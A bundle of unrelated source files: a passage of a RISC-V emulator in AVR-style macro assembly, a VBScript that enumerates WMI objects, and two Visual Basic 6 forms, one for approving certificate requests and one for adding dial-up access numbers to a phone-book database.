ADD RD0,FF
until FLAGS.1
// until --RD0;
goto Store_RS1
//
Do_SRLI:
repeat
LSR RS1_3
ROR RS1_2
ROR RS1_1
ROR RS1_0
ADD RD0,FF
until FLAGS.1
// until --RD0;
goto Store_RS1
//
// SLTI, SLTIU
//
DO_SLT:
if I1.4 then goto Do_SLTIU
WREG := $80;
RS1_3 := RS1_3 + WREG
RD3 := RD3 + WREG
Do_SLTIU:
SUB RS1_0, RD0
SBC RS1_1, RD1
SBC RS1_2, RD2
SBC RS1_3, RD3
asm
brcs Store_1
end
goto Store_0
Store_1:
RD0 := 1;
goto Store_RD_BYTE
// LOAD
// RS1 loaded, RD immed
I_00_0X1:
//
if not I0.6 then goto Do_Loads
// JALR
ADD RS1_0, RD0
ADC RS1_1, RD1
//PC := PC+4
PC.lo := PC.lo+4
ADC PC.hi, ZERO
RD0 := PC.lo
RD1 := PC.hi
AND RS1_0, $FE // JALR TEST !
PC.lo := RS1_0
PC.hi := RS1_1
WREG := 4
SUB PC.lo, WREG
SBC PC.hi, ZERO
// Store return PC
goto Store_RD_WORD
Do_LOADS:
Z.Lo := RS1_0;
Z.Hi := RS1_1;
Z.Lo := Z.lo + RD0
ADC Z.Hi, RD1
// Load from memory
RD0 := RAM[Z];
if I1.4 then goto I_LD_H //
if I1.5 then goto I_LD_W //
// LB, LBU
if I1.6 then goto Store_RD_BYTE
if not RD0.7 then goto Store_RD_BYTE
RD1 := $FF
// goto I_LH
I_LH:
// sign extend
if not RD1.7 then goto Store_RD_WORD
RD2 := $FF;
RD3 := $FF;
goto Store_RD
I_LD_W:
if Zlo.0 then MISALIGN_LD
if Zlo.1 then MISALIGN_LD
RD1 := RAM[Z+1];
RD2 := RAM[Z+2];
RD3 := RAM[Z+3];
goto Store_RD
//
I_LD_H:
if Zlo.0 then MISALIGN_LD
RD1 := RAM[Z+1];
if not I1.6 then goto I_LH //
// LHU UNSIGNED
goto Store_RD_WORD
//
I_X1_XX0:
// SYSTEM also here !!
// JALR ??
if not I0.6 then goto not_JALR
// if not I0.5 then goto not_JALR
I_11:
if I0.4 then goto Do_SYS
if I0.3 then goto not_JALR
if not I0.2 then goto not_JALR
goto I_IMMED
//
//
//
Do_SYS:
#include system.inc
goto Store_RD
not_JALR:
// if I0.6 then goto I_11_XX0 // branches
if I0.6 then goto Load_RS2 // branches !
// STORE
I_01_XX0:
// RS1 is loaded
if I0.4 then goto Load_RS2; //STORE
//
// RS1 is loaded
//
//I_01_1X0:
// Goto Load_RS2
STORE:
RD0 := I1
add RD0,RD0
and RD0,$1E
if not I0.7 then skip; RD0 := RD0 or $01;
wreg := i3
swap wreg
and wreg,$E0;
or RD0, wreg
RD1 := I3;
swap RD1
and RD1, $07
if not I3.7 then skip; RD1 := RD1 or $F8; // sign extend!
RS1_0 := RS1_0 + RD0
ADC RS1_1, RD1
// Load RS2
Load_RS2:
//
// xxxx_xxx4 3210_xxxx xxxx_xxxx xxxx_xxxx
// x432 10xx
// Z.lo := I2
// lsr Z.lo
// lsr Z.lo
// if not I3.0 then skip; Z.lo := Z.lo or $40;
// Z.lo := Z.lo and $7C
Z.lo := I2
//lsr Z.lo
lsr Z.lo
if not I3.0 then skip; Z.lo := Z.lo or $80;
Z.lo := Z.lo and $F8
// Makes Dhrystone slower on single cycle RAM
// if not FLAGS.1 then Load_RS2_RAM
// RS2_0 := 0
// RS2_1 := 0
// RS2_2 := 0
// RS2_3 := 0
// goto Load_RS2_Done
// TODO R0 ZERO !!
Load_RS2_RAM:
Z.Hi := RRH; // Register save area
RS2_0 := RAM[Z];
RS2_1 := RAM[Z+1];
RS2_2 := RAM[Z+2];
RS2_3 := RAM[Z+3];
Load_RS2_Done:
// Branches?
// if I0.6 then goto Do_Branch
if not I0.6 then alustore
// branches
Do_Branch:
//
// Check condition
//
// signed?
if I1.5 then goto UNSIG
// signed trick
wreg := $80
xor RS1_3, wreg
xor RS2_3, wreg
UNSIG:
SUB RS1_0, RS2_0
SBC RS1_1, RS2_1
SBC RS1_2, RS2_2
SBC RS1_3, RS2_3
if not I1.6 then goto BNE_BEQ
if I1.4 then goto is_BGE
// BLT
asm
brcs Take_Branch
end
goto MainLoop
// BGEU
is_BGE:
asm
brcs main_l1; //brcc Take_Branch
end
// goto MainLoop
Take_Branch:
add i1,i1
and i1, $1E // bits 4..1
swap i3
wreg := i3
and wreg, $E0
or i1, wreg // 7..1
and i3,$0f
if not i3.3 then skip
or i3,$10 // merge bit 12
and i3,$17
if not i0.7 then skip
or i3,$08 // merge bit 11
if not i3.4 then skip
or i3,$E0 // sign extend 16 bit
add PC.lo, i1
adc PC.hi, i3
goto MainStart
BNE_BEQ:
or RS1_0, RS1_1
or RS1_0, RS1_2
or RS1_0, RS1_3
if not I1.4 then goto is_BEQ
// BNE
asm
brne Take_Branch
end
main_l1:
goto MainLoop
is_BEQ:
asm
breq Take_Branch
end
goto MainLoop
// Store or ALU ?
alustore:
if not I0.4 then goto Do_Store
RD0 := RS2_0
RD1 := RS2_1
RD2 := RS2_2
RD3 := RS2_3
//
// check ALU
if I1.6 then goto Do_XOR_AND // bit 14
if I1.5 then goto Do_SLT // bit 13
if I1.4 then goto Do_SLL // bit 12
Do_AddSub:
if not I3.6 then goto Do_ADDI
// SUB OK
SUB RS1_0, RS2_0
SBC RS1_1, RS2_1
SBC RS1_2, RS2_2
SBC RS1_3, RS2_3
goto Store_RS1
Do_Store:
// store to RS1
Z.Lo := RS1_0
Z.Hi := RS1_1
//
if I1.4 then goto I_SH_SW
if I1.5 then goto I_SH_SW
// Store byte
I_SB:
RAM[Z] := RS2_0;
#include txuart.inc
goto MainLoop
//
I_SH_SW:
if Zlo.0 then MISALIGN_ST
if I1.4 then goto ST_LOW16
I_SW:
if Zlo.1 then MISALIGN_ST
RAM[Z+3] := RS2_3;
RAM[Z+2] := RS2_2;
ST_LOW16:
RAM[Z] := RS2_0;
RAM[Z+1] := RS2_1;
goto MainLoop
//
//
// LUI/AUIPC/JAL/JALR/FENCE
I_XX_XX1:
if I0.4 then goto I_XX_1X1 // -> AUIPC/LUI
// JAL/JALR/FENCE
I_XX_0X1:
if not I0.5 then goto MainLoop // -> FENCE
I_X1_0X1:
// JAL/JALR
if not I0.3 then goto LD_rs1 // JALR >>
// JAL
swap I3
AND I3, $F7
if not I2.4 then skip
OR I3, $08 // 7654 11 10 9 8
swap I2
AND I2,$0E // xxxx 3 2 1 _
RS1_0 := I3
RS1_0 := RS1_0 and $F0
RS1_0 := RS1_0 or I2 // 7..1 x
RS1_1 := I1
RS1_1 := RS1_1 and $F0 // 15..12
I3 := I3 and $0F
RS1_1 := RS1_1 or I3
//
Store_RET:
PC.lo := PC.lo+4
ADC PC.hi, ZERO
RD0 := PC.lo
RD1 := PC.hi
ADD PC.lo, RS1_0
ADC PC.hi, RS1_1
WREG := 8
SUB PC.lo, WREG
SBC PC.hi, ZERO
goto Store_RD_WORD
// AUIPC/LUI
I_XX_1X1:
// Load IMMED, clear lower bits
RD3 := I3; // copy bits 31..24
RD2 := I2; // copy bits 23..16
RD1 := I1; // copy bits 15..8
RD1 := RD1 and $F0; // clear bits 11..8
RD0 := 0; // clear bits 7..0
if I0.5 then goto Store_RD
// AUIPC
RD0 := PC.lo;
RD1 := RD1 + PC.hi
goto Store_RD
//
//
//
until false;
//
//
//
|
on error resume next
' Try to do deep enumeration of root\default
set d = GetObject("winmgmts:root\default")
WSCript.Echo d.Get ("__SystemClass").Path_.Path
for each i in d
if err then WSCript.Echo Hex(err.Number), err.Description, Err.source
'WScript.Echo i.Path_.Path
next
set s = GetObject("winmgmts:")
s.Filter_ = Array("WIn32_Process", "Win32_LogicalDisk")
for each f in s.Filter_
WSCript.Echo f
next
WScript.Echo s.Filter_(1)
s.Filter_(0) = "Win32_Service"
for each f in s.Filter_
WSCript.Echo f
next
s.Filter_(1) = "Win32_Process"
s.Filter_(2) = "Win32_LogicalDisk"
x = s.Filter_
WScript.Echo x(0), x(1), x(2)
for each o in s
WScript.Echo o.Path_.Path
next
|
VERSION 5.00
Begin VB.Form policyvb
Caption = "(caption)"
ClientHeight = 6885
ClientLeft = 1305
ClientTop = 1590
ClientWidth = 5790
ControlBox = 0 'False
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
PaletteMode = 1 'UseZOrder
ScaleHeight = 6885
ScaleWidth = 5790
Begin VB.CommandButton cmdPending
Caption = "Make Pending"
Height = 495
Left = 2160
TabIndex = 2
Top = 6240
Width = 1455
End
Begin VB.TextBox RequestTypeText
BackColor = &H00C0C0C0&
Height = 285
Left = 3360
Locked = -1 'True
TabIndex = 17
TabStop = 0 'False
Top = 4920
Width = 1575
End
Begin VB.TextBox VersionText
BackColor = &H00C0C0C0&
Height = 285
Left = 1200
Locked = -1 'True
TabIndex = 16
TabStop = 0 'False
Top = 4920
Width = 495
End
Begin VB.TextBox StatusText
BackColor = &H00C0C0C0&
ForeColor = &H00000000&
Height = 615
Left = 480
Locked = -1 'True
TabIndex = 14
TabStop = 0 'False
Text = "Status"
Top = 5400
Width = 4815
End
Begin VB.Frame Information
Caption = "Certificate Request Information"
Height = 4215
Left = 405
TabIndex = 13
Top = 240
Width = 4995
Begin VB.TextBox Disposition
Height = 375
Left = 4080
Locked = -1 'True
TabIndex = 23
TabStop = 0 'False
Text = "TimeOut"
Top = 1200
Visible = 0 'False
Width = 855
End
Begin VB.TextBox NotAfterText
BackColor = &H00C0C0C0&
Height = 285
Left = 3120
Locked = -1 'True
TabIndex = 22
TabStop = 0 'False
Text = "NotAfter"
Top = 3720
Width = 1755
End
Begin VB.TextBox NotBeforeText
BackColor = &H00C0C0C0&
Height = 285
Left = 1080
Locked = -1 'True
TabIndex = 21
TabStop = 0 'False
Text = "NotBefore"
Top = 3720
Width = 1725
End
Begin VB.Timer DisplayTimer
Enabled = 0 'False
Interval = 3000
Left = 4320
Top = 600
End
Begin VB.TextBox NameText
BackColor = &H00C0C0C0&
Height = 375
Left = 2040
Locked = -1 'True
TabIndex = 7
TabStop = 0 'False
Top = 3000
Width = 1980
End
Begin VB.TextBox CountryText
BackColor = &H00C0C0C0&
Height = 375
Left = 2040
Locked = -1 'True
TabIndex = 6
TabStop = 0 'False
Top = 2400
Width = 1980
End
Begin VB.TextBox LocalityText
BackColor = &H00C0C0C0&
Height = 375
Left = 2040
Locked = -1 'True
TabIndex = 5
TabStop = 0 'False
Top = 1800
Width = 1980
End
Begin VB.TextBox OrgUnitText
BackColor = &H00C0C0C0&
Height = 375
Left = 2040
Locked = -1 'True
TabIndex = 4
TabStop = 0 'False
Top = 1200
Width = 1980
End
Begin VB.TextBox OrgText
BackColor = &H00C0C0C0&
Height = 375
Left = 2040
Locked = -1 'True
TabIndex = 0
TabStop = 0 'False
Top = 600
Width = 1980
End
Begin VB.Label ToLabel
Caption = "To"
Height = 375
Left = 2880
TabIndex = 20
Top = 3720
Width = 615
End
Begin VB.Label ValidLabel
Caption = "Valid From"
Height = 255
Left = 240
TabIndex = 19
Top = 3720
Width = 855
End
Begin VB.Label NameLabel
Caption = "Name"
Height = 405
Left = 240
TabIndex = 12
Top = 3000
Width = 1500
End
Begin VB.Label LocalityLabel
Caption = "Locality"
Height = 405
Left = 240
TabIndex = 10
Top = 1800
Width = 1500
End
Begin VB.Label CountryLabel
Caption = "Country"
Height = 405
Left = 240
TabIndex = 11
Top = 2400
Width = 1500
End
Begin VB.Label OrgUnitLabel
Caption = "Organizational Unit"
Height = 405
Left = 240
TabIndex = 9
Top = 1200
Width = 1500
End
Begin VB.Label OrgLabel
Caption = "Organization"
Height = 400
Left = 240
TabIndex = 8
Top = 600
Width = 1500
End
End
Begin VB.CommandButton cmdDeny
Cancel = -1 'True
Caption = "Deny Certificate"
Height = 495
Left = 3840
TabIndex = 3
Top = 6240
Width = 1455
End
Begin VB.CommandButton cmdIssue
Caption = "Issue Certificate"
Default = -1 'True
Height = 495
Left = 480
TabIndex = 1
Top = 6240
Width = 1455
End
Begin VB.Label RequestTypeLabel
Caption = "RequestType"
Height = 255
Left = 2280
TabIndex = 18
Top = 4920
Width = 1095
End
Begin VB.Label VersionLabel
Caption = "Version"
Height = 255
Left = 600
TabIndex = 15
Top = 4920
Width = 735
End
End
Attribute VB_Name = "policyvb"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Private Sub cmdDeny_Click()
Hide
Disposition.Text = "Deny"
End Sub
Private Sub cmdIssue_Click()
Hide
Disposition.Text = "Issue"
End Sub
Private Sub cmdPending_Click()
Hide
Disposition.Text = "Pending"
End Sub
Private Sub DisplayTimer_Timer()
Hide
Disposition.Text = "TimeOut"
End Sub
|
<gh_stars>10-100
VERSION 5.00
Object = "{BDC217C8-ED16-11CD-956C-0000C04E4C0A}#1.1#0"; "TABCTL32.OCX"
Begin VB.Form frmPopInsert
BorderStyle = 3 'Fixed Dialog
Caption = "add"
ClientHeight = 4290
ClientLeft = 720
ClientTop = 1530
ClientWidth = 7365
Icon = "PopIns.frx":0000
KeyPreview = -1 'True
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
PaletteMode = 1 'UseZOrder
ScaleHeight = 4290
ScaleWidth = 7365
ShowInTaskbar = 0 'False
WhatsThisButton = -1 'True
WhatsThisHelp = -1 'True
Begin VB.CommandButton cmdOK
Caption = "ok"
Default = -1 'True
Height = 375
Left = 3390
TabIndex = 36
Top = 3810
WhatsThisHelpID = 10030
Width = 1170
End
Begin VB.CommandButton cmbclose
Cancel = -1 'True
Caption = "cancel"
Height = 375
Left = 4725
TabIndex = 37
Top = 3810
WhatsThisHelpID = 10040
Width = 1170
End
Begin VB.CommandButton cmdSave
Caption = "save"
Height = 375
Left = 6030
TabIndex = 38
Top = 3810
WhatsThisHelpID = 10010
Width = 1185
End
Begin TabDlg.SSTab SSTab1
Height = 3495
Left = 120
TabIndex = 39
Top = 135
WhatsThisHelpID = 10060
Width = 7095
_ExtentX = 12515
_ExtentY = 6165
_Version = 393216
Style = 1
TabHeight = 520
BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851}
Name = "MS Sans Serif"
Size = 8.25
Charset = 0
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
TabCaption(0) = "access"
TabPicture(0) = "PopIns.frx":000C
Tab(0).ControlEnabled= -1 'True
Tab(0).Control(0)= "picContainer(0)"
Tab(0).Control(0).Enabled= 0 'False
Tab(0).ControlCount= 1
TabCaption(1) = "settings"
TabPicture(1) = "PopIns.frx":0028
Tab(1).ControlEnabled= 0 'False
Tab(1).Control(0)= "picContainer(1)"
Tab(1).Control(0).Enabled= 0 'False
Tab(1).ControlCount= 1
TabCaption(2) = "comments"
TabPicture(2) = "PopIns.frx":0044
Tab(2).ControlEnabled= 0 'False
Tab(2).Control(0)= "picContainer(2)"
Tab(2).Control(0).Enabled= 0 'False
Tab(2).ControlCount= 1
Begin VB.PictureBox picContainer
BorderStyle = 0 'None
Height = 2775
Index = 2
Left = -74700
ScaleHeight = 2775
ScaleWidth = 6555
TabIndex = 35
TabStop = 0 'False
Top = 555
Visible = 0 'False
Width = 6555
Begin VB.TextBox txtcomment
ForeColor = &H00000000&
Height = 2580
Left = 75
MaxLength = 256
MultiLine = -1 'True
ScrollBars = 2 'Vertical
TabIndex = 27
Top = 45
WhatsThisHelpID = 50000
Width = 6360
End
End
Begin VB.PictureBox picContainer
BorderStyle = 0 'None
Height = 2940
Index = 0
Left = 105
ScaleHeight = 2940
ScaleWidth = 6855
TabIndex = 32
TabStop = 0 'False
Top = 420
Width = 6855
Begin VB.TextBox maskAccNo
Height = 300
HelpContextID = 30050
Left = 5130
MaxLength = 40
TabIndex = 24
Top = 1980
WhatsThisHelpID = 30050
Width = 1590
End
Begin VB.TextBox maskArea
Height = 300
Left = 1710
MaxLength = 10
TabIndex = 22
Top = 1995
WhatsThisHelpID = 30060
Width = 1290
End
Begin VB.ComboBox dbCmbCty
Height = 315
ItemData = "PopIns.frx":0060
Left = 1710
List = "PopIns.frx":0062
Style = 2 'Dropdown List
TabIndex = 18
Top = 780
WhatsThisHelpID = 30020
Width = 2820
End
Begin VB.ComboBox cmbRegion
Height = 315
ItemData = "PopIns.frx":0064
Left = 1710
List = "PopIns.frx":0066
Style = 2 'Dropdown List
TabIndex = 20
Top = 1305
WhatsThisHelpID = 30040
Width = 2820
End
Begin VB.ComboBox cmbstatus
ForeColor = &H00000000&
Height = 315
ItemData = "PopIns.frx":0068
Left = 1710
List = "PopIns.frx":006A
Style = 2 'Dropdown List
TabIndex = 26
Top = 2520
WhatsThisHelpID = 30070
Width = 1545
End
Begin VB.TextBox txtcity
ForeColor = &H00000000&
Height = 285
Left = 1710
MaxLength = 30
TabIndex = 16
Top = 150
WhatsThisHelpID = 30010
Width = 2805
End
Begin VB.TextBox txtid
BackColor = &H8000000F&
ForeColor = &H00000000&
Height = 285
HelpContextID = 3000
Left = 4635
MaxLength = 25
TabIndex = 33
TabStop = 0 'False
Top = 135
Visible = 0 'False
Width = 510
End
Begin VB.Label Label3
BorderStyle = 1 'Fixed Single
ForeColor = &H000000C0&
Height = 255
Left = 4740
TabIndex = 34
Top = 1365
Visible = 0 'False
Width = 570
End
Begin VB.Label Label8
Alignment = 2 'Center
BackStyle = 0 'Transparent
BorderStyle = 1 'Fixed Single
ForeColor = &H00000000&
Height = 300
Left = 5130
TabIndex = 29
Top = 2475
Visible = 0 'False
Width = 1590
End
Begin VB.Label Label7
Alignment = 1 'Right Justify
Caption = "status"
Height = 255
Left = 3420
TabIndex = 28
Top = 2550
Visible = 0 'False
Width = 1605
End
Begin VB.Label StatusLabel
Alignment = 1 'Right Justify
Caption = "statss"
Height = 255
Left = 255
TabIndex = 25
Top = 2565
WhatsThisHelpID = 30070
Width = 1350
End
Begin VB.Label AccessLabel
Alignment = 1 'Right Justify
Caption = "access num"
Height = 255
Left = 3390
TabIndex = 23
Top = 2040
WhatsThisHelpID = 30050
Width = 1635
End
Begin VB.Label AreaLabel
Alignment = 1 'Right Justify
Caption = "&Area code:"
Height = 255
Left = 105
TabIndex = 21
Top = 2040
WhatsThisHelpID = 30060
Width = 1515
End
Begin VB.Label RegionLabel
Alignment = 1 'Right Justify
Caption = "&Region:"
Height = 255
Left = 135
TabIndex = 19
Top = 1335
WhatsThisHelpID = 30040
Width = 1455
End
Begin VB.Label POPLabel
Alignment = 1 'Right Justify
Caption = "&pop name:"
Height = 255
Left = 105
TabIndex = 15
Top = 165
WhatsThisHelpID = 30010
Width = 1500
End
Begin VB.Label CountryLabel
Alignment = 1 'Right Justify
Caption = "&Country/ Dependency:"
Height = 480
Left = 135
TabIndex = 17
Top = 720
WhatsThisHelpID = 30020
Width = 1470
End
End
Begin VB.PictureBox picContainer
BorderStyle = 0 'None
Height = 3015
Index = 1
Left = -74955
ScaleHeight = 3015
ScaleWidth = 6855
TabIndex = 31
TabStop = 0 'False
Top = 390
Visible = 0 'False
Width = 6855
Begin VB.Frame FlagFrame
Caption = "settings"
Height = 3015
Left = 240
TabIndex = 0
Top = 0
WhatsThisHelpID = 40030
Width = 2655
Begin VB.CheckBox FlagCheck
Caption = "cust 2"
Height = 255
Index = 7
Left = 240
TabIndex = 8
Top = 2640
WhatsThisHelpID = 40090
Width = 2295
End
Begin VB.CheckBox FlagCheck
Caption = "sur"
Height = 255
Index = 6
Left = 240
TabIndex = 3
Top = 960
WhatsThisHelpID = 40060
Width = 2295
End
Begin VB.CheckBox FlagCheck
Caption = "multi"
Height = 255
Index = 5
Left = 240
TabIndex = 6
Top = 1965
WhatsThisHelpID = 40100
Width = 2295
End
Begin VB.CheckBox FlagCheck
Caption = "cust 1"
Height = 255
Index = 4
Left = 240
TabIndex = 7
Top = 2295
WhatsThisHelpID = 40090
Width = 2295
End
Begin VB.CheckBox FlagCheck
Caption = "isdn"
Height = 255
Index = 3
Left = 240
TabIndex = 5
Top = 1635
WhatsThisHelpID = 40080
Width = 2295
End
Begin VB.CheckBox FlagCheck
Caption = "mod"
Height = 255
Index = 2
Left = 240
TabIndex = 4
Top = 1290
WhatsThisHelpID = 40070
Width = 2295
End
Begin VB.CheckBox FlagCheck
Caption = "up"
Height = 255
Index = 1
Left = 240
TabIndex = 2
Top = 615
WhatsThisHelpID = 40050
Width = 2295
End
Begin VB.CheckBox FlagCheck
Caption = "sign on"
Height = 255
Index = 0
Left = 240
TabIndex = 1
Top = 285
WhatsThisHelpID = 40040
Width = 2295
End
End
Begin VB.Frame analogFrame
Caption = "speed"
Height = 1455
Left = 3585
TabIndex = 30
Top = 1500
Width = 3105
Begin VB.ComboBox cmbmin
ForeColor = &H00000000&
Height = 315
ItemData = "PopIns.frx":006C
Left = 1215
List = "PopIns.frx":0088
TabIndex = 12
Top = 405
WhatsThisHelpID = 40010
Width = 1095
End
Begin VB.ComboBox cmbmax
ForeColor = &H00000000&
Height = 315
ItemData = "PopIns.frx":00C4
Left = 1215
List = "PopIns.frx":00E0
TabIndex = 14
Top = 930
WhatsThisHelpID = 40020
Width = 1095
End
Begin VB.Label MinLabel
Alignment = 1 'Right Justify
Caption = "min"
Height = 255
Left = 165
TabIndex = 11
Top = 480
WhatsThisHelpID = 40010
Width = 1005
End
Begin VB.Label MaxLabel
Alignment = 1 'Right Justify
Caption = "max"
Height = 255
Left = 195
TabIndex = 13
Top = 990
WhatsThisHelpID = 40020
Width = 975
End
End
Begin VB.TextBox txtscript
ForeColor = &H00000000&
Height = 285
Left = 3570
MaxLength = 50
TabIndex = 10
Top = 570
WhatsThisHelpID = 40000
Width = 3135
End
Begin VB.Label dunLabel
Caption = "dun"
Height = 255
Left = 3555
TabIndex = 9
Top = 300
WhatsThisHelpID = 40000
Width = 2775
End
End
End
End
Attribute VB_Name = "frmPopInsert"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit
Function InsertPOP() As Integer
Dim deltnum, vernum As Integer
Dim test As String
Dim deltasql As String
Dim i As Integer
Dim addFound As Integer
Dim m As Integer
Dim v As Long
Dim n As Long
Dim bool As Integer
Dim mydesc, sqlstm, countryname As String
ReDim bitvaluearray(10) As bitValues
On Error GoTo ErrTrap
' validate input
If dbCmbCty.Text = "" Then
MsgBox LoadResString(6044), 0
SSTab1.Tab = 0
dbCmbCty.SetFocus
Exit Function
ElseIf txtcity.Text = "" Then
MsgBox LoadResString(6045), 0
SSTab1.Tab = 0
txtcity.SetFocus
Exit Function
ElseIf maskArea.Text = "" Then
MsgBox LoadResString(6046), 0
SSTab1.Tab = 0
maskArea.SetFocus
Exit Function
ElseIf maskAccNo.Text = "" Then
MsgBox LoadResString(6047), 0
SSTab1.Tab = 0
maskAccNo.SetFocus
Exit Function
ElseIf cmbstatus.Text = "" Then
MsgBox LoadResString(6048), 0
SSTab1.Tab = 0
cmbstatus.SetFocus
Exit Function
End If
Screen.MousePointer = 11
Set GsysDial = gsyspb.OpenRecordset("DialUpPort", dbOpenDynaset)
Set GsysDelta = gsyspb.OpenRecordset("Select * from Delta order by DeltaNum", dbOpenDynaset)
result = 0
For m = 0 To 7
Select Case m
Case 0, 2, 3, 5
result = result + (2 ^ m) * Abs(FlagCheck(m).Value - 1)
Case Else
result = result + (2 ^ m) * FlagCheck(m).Value
End Select
Next m
GsysDial.AddNew
GsysDial!AccessNumberId = Val(txtid.Text)
GsysDial!AreaCode = maskArea.Text
GsysDial!AccessNumber = maskAccNo.Text
GsysDial!status = cmbstatus.ItemData(cmbstatus.ListIndex)
If Label8.Caption <> "" Then
GsysDial!StatusDate = Label8.Caption
End If
If Trim(cmbmin.Text) <> "" Or Val(cmbmin.Text) = 0 Then
GsysDial!MinimumSpeed = Val(cmbmin.Text)
Else
GsysDial!MinimumSpeed = Null
End If
If Trim(cmbmax.Text) <> "" Or Val(cmbmax.Text) = 0 Then
GsysDial!MaximumSpeed = Val(cmbmax.Text)
Else
GsysDial!MaximumSpeed = Null
End If
GsysDial!CityName = txtcity.Text
GsysDial!CountryNumber = dbCmbCty.ItemData(dbCmbCty.ListIndex)
GsysDial!RegionID = cmbRegion.ItemData(cmbRegion.ListIndex) 'Val(lbldesc.Caption)
GsysDial!ScriptID = txtscript.Text
GsysDial!FlipFactor = 0
GsysDial!Flags = result
GsysDial!Comments = txtcomment.Text
GsysDial.Update
If cmbstatus.ItemData(cmbstatus.ListIndex) = 1 Then
'insert the delta table (production pop)
Set GsysDelta = gsyspb.OpenRecordset("Select * from Delta order by DeltaNum", dbOpenDynaset)
If GsysDelta.RecordCount = 0 Then
deltnum = 1
Else
GsysDelta.MoveLast
deltnum = GsysDelta!deltanum
If deltnum > 6 Then
deltnum = deltnum - 1
End If
End If
For i = 1 To deltnum
deltasql = "Select * from delta where DeltaNum = " & i% & " order by DeltaNum"
Set GsysDelta = gsyspb.OpenRecordset(deltasql, dbOpenDynaset)
addFound = 0 'initialize delta not found
Do While GsysDelta.EOF = False
If GsysDelta!AccessNumberId = Val(txtid.Text) Then
addFound = 1
Exit Do
Else
GsysDelta.MoveNext
End If
Loop
If addFound = 0 Then
GsysDelta.AddNew
GsysDelta!deltanum = i%
GsysDelta!AccessNumberId = txtid.Text
Else
GsysDelta.Edit
End If
GsysDelta!CountryNumber = dbCmbCty.ItemData(dbCmbCty.ListIndex)
GsysDelta!AreaCode = maskArea.Text
GsysDelta!AccessNumber = maskAccNo.Text
If Trim(cmbmin.Text) <> "" Or Val(cmbmin.Text) = 0 Then
GsysDelta!MinimumSpeed = Val(cmbmin.Text)
Else
GsysDelta!MinimumSpeed = Null
End If
If Trim(cmbmax.Text) <> "" Or Val(cmbmax.Text) = 0 Then
GsysDelta!MaximumSpeed = Val(cmbmax.Text)
Else
GsysDelta!MaximumSpeed = Null
End If
GsysDelta!RegionID = cmbRegion.ItemData(cmbRegion.ListIndex)
GsysDelta!CityName = txtcity.Text
GsysDelta!ScriptID = txtscript.Text
GsysDelta!FlipFactor = 0
GsysDelta!Flags = result
GsysDelta.Update
Next i%
End If
Dim itmX As ListItem
Dim strTemp As String
frmMain.PopList.Sorted = False
Set itmX = frmMain.PopList.ListItems.Add()
With itmX
.Text = txtcity.Text
.SubItems(1) = maskArea.Text
.SubItems(2) = maskAccNo.Text
.SubItems(3) = dbCmbCty.Text
.SubItems(4) = cmbRegion.Text
.SubItems(5) = cmbstatus.Text
strTemp = "Key:" & txtid.Text
.Key = strTemp
End With
GsysDial.Close
Set GsysDial = gsyspb.OpenRecordset("Select * from DialUpPort where AccessNumberID = " & txtid.Text, dbOpenSnapshot)
LogPOPAdd GsysDial
GsysDelta.Close
Set GsysDial = Nothing
Set GsysDelta = Nothing
Screen.MousePointer = 0
InsertPOP = 1
Exit Function
ErrTrap:
InsertPOP = 0
Screen.MousePointer = 0
MsgBox LoadResString(6056) & Chr(13) & Chr(13) & Err.Description, vbExclamation
Exit Function
End Function
Function LoadPOPRes()
Dim cRef As Integer
On Error GoTo LoadErr
cRef = 4000
Me.Caption = LoadResString(cRef + 58) & " " & gsCurrentPB
SSTab1.TabCaption(0) = LoadResString(cRef + 38)
SSTab1.TabCaption(1) = LoadResString(cRef + 39)
SSTab1.TabCaption(2) = LoadResString(cRef + 45)
POPLabel.Caption = LoadResString(cRef + 46)
CountryLabel.Caption = LoadResString(cRef + 47)
RegionLabel.Caption = LoadResString(cRef + 48)
AreaLabel.Caption = LoadResString(cRef + 49)
AccessLabel.Caption = LoadResString(cRef + 50)
StatusLabel.Caption = LoadResString(cRef + 51)
' status list
With cmbstatus
.AddItem gStatusText(1)
.ItemData(.NewIndex) = 1
.AddItem gStatusText(0)
.ItemData(.NewIndex) = 0
End With
' region list
With cmbRegion
.AddItem gRegionText(0), 0
.ItemData(.NewIndex) = 0
' .AddItem gRegionText(-1), 1
' .ItemData(.NewIndex) = -1
End With
FlagFrame.Caption = LoadResString(cRef + 52)
dunLabel.Caption = LoadResString(cRef + 53)
analogFrame.Caption = LoadResString(cRef + 54)
MinLabel.Caption = LoadResString(cRef + 55)
MaxLabel.Caption = LoadResString(cRef + 56)
For cRef = 4080 To 4087
FlagCheck(cRef - 4080).Caption = LoadResString(cRef)
Next
cmdOK.Caption = LoadResString(1002)
cmbclose.Caption = LoadResString(1003)
cmdSave.Caption = LoadResString(1004)
' set fonts
SetFonts Me
SSTab1.Font.Charset = gfnt.Charset
SSTab1.Font.Name = gfnt.Name
SSTab1.Font.Size = gfnt.Size
On Error GoTo 0
Exit Function
LoadErr:
Exit Function
End Function
Private Sub cmbclose_Click()
Screen.MousePointer = 11
Me.Hide
Unload Me
Screen.MousePointer = 0
End Sub
Private Sub cmbmax_KeyPress(KeyAscii As Integer)
KeyAscii = FilterNumberKey(KeyAscii)
End Sub
Private Sub cmbmin_KeyPress(KeyAscii As Integer)
KeyAscii = FilterNumberKey(KeyAscii)
End Sub
Private Sub cmbstatus_Change()
If cmbstatus.Text <> "" Then
Label8.Caption = Date
Else
Label8.Caption = ""
End If
End Sub
Private Sub cmbstatus_Click()
If cmbstatus.Text <> "" Then
Label8.Caption = Date
Else
Label8.Caption = ""
End If
End Sub
Private Sub cmdOK_Click()
Dim intRC As Integer
On Error Resume Next
Screen.MousePointer = 11
If InsertPOP = 1 Then
Me.Hide
Unload Me
End If
Screen.MousePointer = 0
End Sub
Private Sub cmdSave_Click()
On Error Resume Next
If InsertPOP = 1 Then
'good insert
txtid.Text = Val(txtid.Text) + 1
txtcity.Text = ""
maskArea.Text = ""
maskAccNo.Text = ""
cmbstatus.ListIndex = -1
SSTab1.Tab = 0
txtcity.SetFocus
End If
On Error GoTo 0
Exit Sub
ErrTrap:
Exit Sub
End Sub
